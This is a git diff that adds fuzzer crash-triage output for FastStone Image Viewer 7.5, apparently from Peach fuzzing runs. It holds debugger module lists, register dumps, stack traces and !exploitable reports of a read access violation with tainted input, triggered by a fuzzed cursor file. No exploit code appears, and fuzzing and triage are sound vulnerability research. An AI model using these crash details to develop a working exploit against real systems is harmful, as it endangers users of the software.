C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73da0000 00000000`73f05000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73bc0000 00000000`73da0000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73959000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f8000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1324.1b98): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=01ffed2d ecx=07f255b0 edx=00003879 esi=f9e30010 edi=0fb9efd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0023:00604b66 fpdp=002b:07f25870 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.755120800610796640000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 5.379433600000000000000e+0007 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=1.02857e-038 1.0653e-038 9.82655e-039 9.64286e-039 +xmm7=1.5134e-043 9.91837e-039 4.22458e-039 1.05612e-038 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff50b 0019f9d8 005ff787 0019fa48 image00000000_00400000+0x20d6fc +0019fa48 005ff1de 0019fa70 005ff1f9 0019fa68 image00000000_00400000+0x1ff50b +0019fa68 008ef1af 0019fa7c 008ef1b9 0019fb98 image00000000_00400000+0x1ff1de +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef1af +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 08008130 07f85930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 751df989 00289000 751df970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 771374b4 00289000 9450bbf0 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 77137484 ffffffff 77157359 00000000 ntdll_770d0000!__RtlUserThreadStart+0x2f +0019ffec 00000000 00963a10 00289000 00000000 ntdll_770d0000!_RtlUserThreadStart+0x1b + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x127b572d +STACK_DEPTH:15 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff50b +STACK_FRAME:image00000000_00400000+0x1ff1de +STACK_FRAME:image00000000_00400000+0x4ef1af +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_770d0000!__RtlUserThreadStart+0x2f +STACK_FRAME:ntdll_770d0000!_RtlUserThreadStart+0x1b +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x127b572d) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x127b572d/75112/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x127b572d/75112/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..8d85b40 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x127b572d/75112/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x306e2077/92196/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x306e2077/92196/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..24ca36b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x306e2077/92196/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x00000000001a4002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x306e2077/92196/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x306e2077/92196/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..38c685e Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x306e2077/92196/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x306e2077/92196/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x306e2077/92196/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..3858a85 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x306e2077/92196/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,195 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffd`530f0000 00007ffd`532e5000 ntdll.dll +ModLoad: 00000000`770d0000 00000000`77273000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0xB58: page heap enabled with flags 0x3. +ModLoad: 00007ffd`51200000 00007ffd`51259000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffd`52e70000 00007ffd`52ef3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`770c0000 00000000`770ca000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74f20000 00000000`74f85000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0xB58: page heap enabled with flags 0x3. +ModLoad: 00000000`751c0000 00000000`752b0000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`75790000 00000000`759a3000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`74f90000 00000000`75123000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75310000 00000000`75328000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`756e0000 00000000`75703000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`76430000 00000000`7650a000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`75710000 00000000`7578b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`76510000 00000000`76630000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`75660000 00000000`756d9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76370000 00000000`7642f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`75140000 00000000`751b5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`76080000 00000000`7613a000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76280000 00000000`76316000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`767a0000 00000000`76a21000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75f90000 00000000`76073000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74f10000 00000000`74f18000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74f00000 00000000`74f06000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75a10000 00000000`75a35000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74ce0000 00000000`74ef2000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.488_none_11b1e5df2ffd8627\comctl32.dll +ModLoad: 00000000`76b00000 00000000`770b1000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c70000 00000000`74cdd000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75490000 00000000`7553f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75550000 00000000`755d7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`76320000 00000000`76365000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c50000 00000000`74c6b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74c20000 00000000`74c42000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74bf0000 00000000`74c18000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a50000 00000000`74bea000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`75370000 00000000`75389000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`74a30000 00000000`74a49000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`74420000 00000000`74a27000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`001e0000 00000000`001fd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74400000 00000000`7441d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`743f4000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74380000 743c7000 C:\Windows\SysWOW64\WINSTA.dll +ModLoad: 00000000`74300000 00000000`74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`761a0000 00000000`76273000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`76a30000 00000000`76a8c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75330000 00000000`7536b000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`755e0000 00000000`7565e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c3000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741fd000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d25000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73959000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f8000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(b58.143c): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0007ed2d ecx=07f555b0 edx=00003879 esi=ffcb0010 edi=09388fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0023:00604b66 fpdp=002b:07f55870 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.763565049914082400000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=1.02857e-038 1.0653e-038 9.82655e-039 9.64286e-039 +xmm7=1.5134e-043 9.91837e-039 4.22458e-039 1.05612e-038 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 08038130 07fb5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 751df989 0035f000 751df970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 771374b4 0035f000 713e9d4b 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 77137484 ffffffff 77157363 00000000 ntdll_770d0000!__RtlUserThreadStart+0x2f +0019ffec 00000000 00963a10 0035f000 00000000 ntdll_770d0000!_RtlUserThreadStart+0x1b + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x306e2077 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_770d0000!__RtlUserThreadStart+0x2f +STACK_FRAME:ntdll_770d0000!_RtlUserThreadStart+0x1b +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x306e2077) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x306e2077/92196/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x306e2077/92196/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..3858a85 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x306e2077/92196/WindowsDebugEngine_description.txt @@ -0,0 +1,195 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffd`530f0000 00007ffd`532e5000 ntdll.dll +ModLoad: 00000000`770d0000 00000000`77273000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0xB58: page heap enabled with flags 0x3. +ModLoad: 00007ffd`51200000 00007ffd`51259000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffd`52e70000 00007ffd`52ef3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`770c0000 00000000`770ca000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74f20000 00000000`74f85000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0xB58: page heap enabled with flags 0x3. +ModLoad: 00000000`751c0000 00000000`752b0000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`75790000 00000000`759a3000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`74f90000 00000000`75123000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75310000 00000000`75328000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`756e0000 00000000`75703000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`76430000 00000000`7650a000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`75710000 00000000`7578b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`76510000 00000000`76630000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`75660000 00000000`756d9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76370000 00000000`7642f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`75140000 00000000`751b5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`76080000 00000000`7613a000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76280000 00000000`76316000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`767a0000 00000000`76a21000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75f90000 00000000`76073000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74f10000 00000000`74f18000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74f00000 00000000`74f06000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75a10000 00000000`75a35000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74ce0000 00000000`74ef2000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.488_none_11b1e5df2ffd8627\comctl32.dll +ModLoad: 00000000`76b00000 00000000`770b1000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c70000 00000000`74cdd000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75490000 00000000`7553f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75550000 00000000`755d7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`76320000 00000000`76365000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c50000 00000000`74c6b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74c20000 00000000`74c42000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74bf0000 00000000`74c18000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a50000 00000000`74bea000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`75370000 00000000`75389000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`74a30000 00000000`74a49000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`74420000 00000000`74a27000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`001e0000 00000000`001fd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74400000 00000000`7441d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`743f4000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74380000 743c7000 C:\Windows\SysWOW64\WINSTA.dll +ModLoad: 00000000`74300000 00000000`74374000 C:\Windows\SysWOW64\uxtheme.dll 